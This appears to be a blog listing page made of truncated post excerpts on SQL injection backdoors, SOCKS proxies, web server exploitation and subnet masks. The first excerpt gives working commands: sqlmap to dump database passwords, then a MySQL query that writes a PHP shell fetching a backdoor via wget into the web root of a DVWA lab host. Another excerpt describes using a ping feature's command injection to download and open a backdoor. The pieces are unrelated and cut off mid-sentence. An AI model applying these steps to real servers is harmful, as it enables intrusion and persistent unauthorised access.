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To create backdoor from sql injection, the web must be vulnerable with sql injection. then we find the password for mysql database, that can be do with some tecnique, like social enginering or scanning with sqlmap, for exemple : root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="Cookie: security=high; PHPSESSID=5c0eecdbcf2a5acdee16c2b389be67e4" --password after we got the password, now we enter to mysql with the following sintax: root@bt:/pentest/database/sqlmap# mysql -h [host ip] -u root -p  then press enter and input the password we got. now we on my sql shell, and from here we can create database and create backdoor. this sample sintax to download backdoor from other web : mysql> select "<? system('wget 192.168.56.1/cn.txt -O bar.php'); ?>" into dumpfile '/opt/lampp/htdocs/dvwa/bad.php' --; Query OK, 1 row affected (0.00 sec) now we ...

SOCKS is an Internet protocol that routes network packets between a client and server through a proxy server. Socks5 additionally provides authentication so only authorized users may access a server. Practically, a SOCKS server will proxy TCP connections to an arbitrary IP address as well as providing a means for UDP packets to be forwarded. Comparison with HTTP Proxying SOCKS operates at a lower level than HTTP proxying: SOCKS uses a handshake protocol to inform the proxy software about the connection that the client is trying to make and may be used for any form of TCP or UDP socket connection, whereas an HTTP proxy takes an HTTP request and forwards it to an HTTP server. Though HTTP proxying has a different use-case in mind, the CONNECT method allows one to forward TCP connections, there is however no mechanism for UDP proxying.

This time I will write about the exploit servers , the exploit I do over the web is there in , and the web has vulner . I did the following steps :   First , I did a scan of the web to find out what applications are used , and I get the web using wordpress and xampp server applications , since both use the latest version so I do not get vurner . Second , I find that there are vulner used in gadgets , and I found a gadget for the vulner ping an ip , after my tests I found that I can run a variety of commant therein . Third , I wrote commant that serves to download a backdoor that I had prepared . and my backdoor successful entry into the web. F ourth , after a backdoor embedded it is time to find where the location of the embedded backdoor , it's not hard to do because we can use the vulner commant execution had to look for it . after found it, I open the backdoor. until...

In this case i learn to built system and

A subnet allows the flow of network traffic between hosts to be segregated based on a network configuration. By organizing hosts into logical groups, subnetting can improve network security and performance. Subnet Mask Perhaps the most recognizable aspect of subnetting is the subnet mask . Like IP addresses, a subnet mask contains four bytes (32 bits) and is often written using the same "dotted-decimal" notation. For example, a very common subnet mask in its binary representation 11111111 11111111 11111111 00000000 is typically shown in the equivalent, more readable form 255.255.255.0 Applying a Subnet Mask A subnet mask neither works like an IP address, nor does it exist independently from them. Instead, subnet masks accompany an IP address and the two values work together. Applying the subnet mask to an IP address splits the address into two parts, an "extended network address" and a host address. For a subnet mask to be valid, its leftmost bits mus...